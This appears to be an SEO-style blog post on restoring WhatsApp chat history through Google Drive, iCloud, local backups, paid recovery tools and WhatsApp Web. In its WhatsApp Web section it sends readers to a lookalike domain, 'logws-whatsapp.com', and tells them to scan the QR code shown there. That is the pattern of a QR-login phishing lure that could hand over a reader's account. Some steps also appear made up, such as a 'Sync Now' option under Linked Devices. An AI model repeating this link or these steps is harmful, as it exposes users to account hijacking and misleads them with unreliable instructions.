Restore from Google Drive Backup (Android Users)
I remember when I switched from my old Samsung to a new Pixel, Google Drive saved me. All my chats were back in minutes—here’s how to do it for yourself.
Restore When Setting Up a New Android Phone
Check Google account: Before you even touch WhatsApp, make sure your new phone is logged into the same Google account you used for backups. Go to Settings > Accounts > Google to confirm—this is non-negotiable; if the accounts don’t match, nothing will work. Install WhatsApp: Download WhatsApp from the Play Store, open it, and enter your phone number. Wait for the verification code (it should come via SMS automatically). Tap Restore: As soon as you verify your number, WhatsApp will scan for Google Drive backups. If it finds one, tap “Restore” and wait. Depending on how big your backup is, this could take 2-10 minutes—don’t close the app!
Restore to an Existing Android Phone (After Deleting WhatsApp)
Confirm backup existence: First, go to Google Drive on your computer (or the Drive app) and check if there’s a WhatsApp backup. Look under “Backups” > “Device backups”—you should see your phone’s name and the latest backup date. Reinstall WhatsApp: Uninstall WhatsApp from your phone (hold the app icon and tap “Uninstall”). Then download it again from the Play Store. Complete the process: Open WhatsApp, verify your number, and when the backup prompt pops up, tap “Restore.” Once done, your chats will be back—even the media files like photos and videos (though those might take a bit longer to load).
Restore from iCloud Backup (iOS Users)
If you’re an iPhone user, iCloud is your go-to for restoring chats. I helped my sister restore her chats last month after she reset her iPhone—here’s what we did.
Restore to a New iPhone
Sign into iCloud: When setting up your new iPhone, make sure you sign into the same iCloud account that has your WhatsApp backup. This step is crucial—don’t skip it! Restore from iCloud: During the setup process, you’ll see an option to “Restore from iCloud Backup.” Select that and choose the backup that includes your WhatsApp data (check the date to be sure). Install WhatsApp: Once your phone is set up, download WhatsApp from the App Store. Open it, verify your number, and your chats will automatically restore from iCloud.
Restore to Existing iPhone (After Reset)
Erase all content: If you already reset your iPhone, go to Settings > General > Transfer or Reset iPhone > Erase All Content and Settings. This will wipe your phone, so make sure you have a recent backup. Restore from iCloud: During the setup process, select “Restore from iCloud Backup” and pick the right backup. Set up WhatsApp: After your phone is ready, install WhatsApp and verify your number. Your chats will be back in no time—just wait for the sync to finish.
Restore from Local Backup (No Cloud Needed)
Sometimes cloud backups fail (like if you don’t have internet), so local backups are a lifesaver. I use this method when I want to restore old chats without using data.
Restore Local Backup on Android
Find local backup files: On your Android phone, open the File Manager app and go to WhatsApp > Databases. You’ll see files named “msgstore-YYYY-MM-DD.1.db.crypt12” (the number depends on your WhatsApp version). Rename the file: Pick the backup you want to restore (look at the date) and rename it to “msgstore.db.crypt12” (remove the date part). Reinstall WhatsApp: Uninstall WhatsApp, then reinstall it. Open it, verify your number, and it will automatically detect the local backup. Tap “Restore” to get your chats back.
Restore Local Backup on iOS
Use a computer: Local backups on iOS are stored on your computer (if you synced with iTunes/Finder). Connect your iPhone to your Mac or PC, open Finder (Mac) or iTunes (Windows). Access backups: For Finder, click your iPhone icon > General > Manage Backups. For iTunes, go to Devices > your iPhone > Backups. Select the backup that has your WhatsApp data. Restore the backup: Click “Restore Backup” and follow the prompts. Once done, open WhatsApp on your iPhone—your local backup chats will be there.
Restore Using Third-Party Tools (If Cloud Fails)
If cloud and local backups don’t work, third-party tools are your next option. I’ve used Dr.Fone before, and it worked when my Google Drive backup was corrupted.
Use Dr.Fone for WhatsApp Recovery
Download and install: Go to the Dr.Fone website (make sure it’s the official one) and download the app for your computer. Install it and open the “WhatsApp Recovery” feature. Connect your phone: Plug your phone into your computer via USB. Dr.Fone will detect it—make sure you enable USB debugging (Android) or trust the computer (iOS). Scan and restore: Click “Scan” to find deleted chats. Once the scan is done, select the chats you want to restore and tap “Recover to Device.” Wait for the process to finish—your chats will be back on your phone.
Use Tenorshare UltData for WhatsApp
Launch UltData: Download Tenorshare UltData from their official site and open the app. Select the “WhatsApp Recovery” option from the main menu. Connect your device: Plug your phone into the computer. Follow the on-screen instructions to allow the app to access your device’s data. Recover lost chats: Click “Start Scan” to find both existing and deleted chats. Once the scan is complete, choose the chats you want and tap “Recover.” This tool is great for recovering chats that weren’t backed up.
Restore Chat History to WhatsApp Web
Once you have your chats back on your phone, you can access them via WhatsApp web (https://www.logws-whatsapp.com). This is perfect if you prefer typing on a keyboard or want to view your chats on a bigger screen.
Sync Restored Chats to WhatsApp Web
Open WhatsApp web: Go to the WhatsApp web link on your computer. You’ll see a QR code displayed on the screen. Link your phone: On your phone, open WhatsApp > Settings > Linked Devices > Link a Device. Scan the QR code with your phone’s camera. Wait for sync: Your restored chats will start appearing on the web version within a few seconds. Make sure your phone is connected to the internet during this process—without it, the sync won’t work.
Access Restored Chats via WhatsApp Web
Refresh the page: If you already have WhatsApp web linked, sometimes you need to refresh the page to see restored chats. Press F5 (Windows) or Cmd+R (Mac) to reload the page. Sync manually: On your phone, go to Settings > Linked Devices > select your web session > tap “Sync Now.” This will force the web version to update with your latest chats (including the restored ones). Enjoy your chats: Once synced, you can read, send, and manage your restored chats on WhatsApp web just like you would on your phone.
FAQs About WhatsApp Web and Chat History Restoration
Question: Can I restore my WhatsApp chat history directly on WhatsApp web?
Can I restore my WhatsApp chat history directly on WhatsApp web? Answer: No, you can’t restore chat history directly from WhatsApp web. The web version is just a mirror of your phone’s WhatsApp account—all data comes from your device. So to get restored chats on WhatsApp web, you first need to restore them on your phone. Once your phone has the chats back, link your device to WhatsApp web (via QR code), and the chats will sync automatically. I tried this last week after restoring my chats—within a minute, all my old messages were on the web version. Just make sure your phone is connected to the internet while syncing.
Question: Why aren’t my restored WhatsApp chats showing up on WhatsApp web?
Answer: There are a few common reasons for this. First, your phone might not be connected to the internet—WhatsApp web relies on your phone’s connection to sync data. Check your phone’s Wi-Fi or mobile data and try again. Second, you might need to refresh the web page or manually sync. On your phone, go to Settings > Linked Devices > select your web session > tap “Sync Now.” Third, the restore on your phone might not have completed fully. Make sure all your chats are back on your phone before checking WhatsApp web. I had this issue once—my phone’s restore was still ongoing, so the web version didn’t show the chats until it finished.
Question: Is it possible to backup my WhatsApp web chats for future restoration?
Answer: Unfortunately, you can’t backup chats directly from WhatsApp web. All backups are stored on your phone (either locally or via cloud services like Google Drive or iCloud). WhatsApp web doesn’t store any data on its own—it just accesses what’s on your device. So if you want to backup your chats for later, you need to do it from your phone. Once you have a backup, you can restore it on your phone and then access the chats via WhatsApp web. I always make sure to backup my chats weekly from my phone—this way, I never lose any important messages, even if I need to use WhatsApp web later.
If you try any of these methods, let me know how it goes—I’m curious to hear your experience! And if you have any other questions about restoring WhatsApp chats, feel free to drop a comment below.
